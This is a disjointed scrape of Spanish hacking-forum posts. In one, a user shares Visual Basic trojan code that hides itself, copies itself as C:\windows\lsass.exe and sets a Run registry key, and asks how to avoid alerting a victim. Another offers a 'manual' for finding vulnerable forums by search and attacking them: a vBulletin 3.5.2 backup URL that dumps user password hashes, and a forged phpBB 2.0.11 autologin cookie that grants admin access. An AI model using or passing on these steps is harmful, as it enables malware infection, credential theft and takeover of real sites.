Test Foro de elhacker.net SMF 2.1

Hola AililiA.

Citarsegun un tuto de override dice el: que nuestro huesped despues de infectarlo con el methodo prepender...no se ejecutara sin generarlo 

Te importariaponerellink del tuto??? Es q me interesa el tema...

1 Saludo y gracias 

Ok

Muxas gracias por la idea NYlOn. Ahora ya he buscado como comprovar la clave y me funciona perfectamente.

1 saludo 

Hola a tod@s:

Weno de una vez por todas me he decidido a programar mi primer troyano en VB  . Ya lo tengo
practicamente acabado, pero se me ha presentado un problemilla al modificar el registro.
Este es un trozo del codigo, el q lo añade al registro:

Private Sub Timer2_Timer()
On Error Resume Next
App.TaskVisible = False ' Lo hace invisible
Shell txt.Text 'Añade al registro
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\lsass.exe" ' Lo copia
Timer2.Enabled = False
End Sub


txt es el nombre que le he dado a un cuadro de texto q contiene lo siguiente:

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinTray /t REG_SZ /d "C:\windows\lsass.exe"

Hasta aqui todo me funciona perfectamente, el problema se me plantea cuando reinicio mi Pc, pues
me sale una ventana de MS-DOS diciendome q la clave WinTray ya existe y que si quiero sustituirla,
lo cual llama un poco la atención de cara a infectar una posible víctima.

A alguien se le ocurre alguna idea para arreglar esto?????

Desde ya muxas gracias y 1 saludo

Hola

Muchas gracias por tu ayuda, funciona perfectamente.

Un saludo

Hola a todos

Veran he creado una calculadora y ahora estoy dandola una apariencia grafica un poco personalizada, pa q quede mas bonita , y claro tambien quiero quitar la barra q tienen arriba todos los programas.

Hasta aqui lo ago todo sin problemas pero cuando sustitullo la barra por un label, logicamente, no puedo mover el formulario por la pantalla, se me queda hay parado.

Mi duda es ¿cómo puedo hacer para que ese label actue como si fuera la barra de windows?

Gracias de antemano por su ayuda.

Salu2

Powered By vBulletin 3.5.2

De nuevo buscamos en google posibles "víctimas" poniendo "powered By vBulletin 3.5.2".

Una vez accedamos a el nos fijamos el su dirección en internet:
Ej --> www.miforo.com
A continuación debemos intruducir un exploit:

Exploit: install/upgrade_300b3.php?step=backup


Y en la barra de dirección nos tendría que aparecer www.miforo.com/install/upgrade_300b3.php?step=backup
le damos a ir o a la tecla de enter y nos aparecera una ventana desde la que podremos descargarnos los nombres de los usuarios con sus hashes (incluido admin).
Ahora solo queda descifrar la hash y ya esta xD.

Salu2

Powered by phpbb 2.0.11

Lo pimero que tenemos que hacer es encontrar algun foro de este estilo, para ello usamos el omnipotente google y ponemos "powered by phpbb 2.0.11" si veremos un gran numero de foros vulnerables.

Par poder lograr nuestro objetivo necesitamos un modificador de cookies, el iecv (IECookiesView), borramos todas las coockies que tengamos en ese momento y entramos en un foro.

Al hacerlo recibiremos una cookie que debemos modificar, clikamos sobre ella en la pantalla de arriba y abajo deberia aperecernos un stick verde con una frase que contenga "mysql" (aviso ahora para  decir que no todos los foros son vulnerables, debereis buscar alguno que sea bastante simple) donde diga "mysql" damos boton derecho y Edit the Cookie's Content.

Luego en la pantalla que nos salga donde diga "value" ponemos a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
de esta manera transformamos nuestra cookie en la del admin.

Ahora cerramos el internet explorer (es recomendable usar este navegador y no otro), volvemos a entrar  en el foro con el que estabamos y abajo veremos un vinculo al panel de administrador.

De esta forma ten simple podemos burlar la seguridad de un foro.

Salu2

Hola a todos:

Acontinuación voy a colgar un pequeño manual en el que se explica como aprovechar los numeros bug's con los que cuentan muchos foros y asi entender como algunas personas llegan a hacer un "deface".

Espero que tras leerlo no comenceis a jorobar los foros de todo el mundo (eso es algo realmente estupido) este manual SOLO vale para aprender.

Hiré ampliando la información segun pueda, y os invito a colaborar y colgar los agujeros de seguridad que conozcais par hacer asi entre todos un buen manual.

Salu2

Hola creo q mi duda es muy simple asi q espero q me la puedan resolver:
lo q yo quiero es crear un programa q al ser ejecutado guarde en una direccion del ordenador un archivo que iria adjunto a el y lo ejecute
Muchas gracias a todos

salu2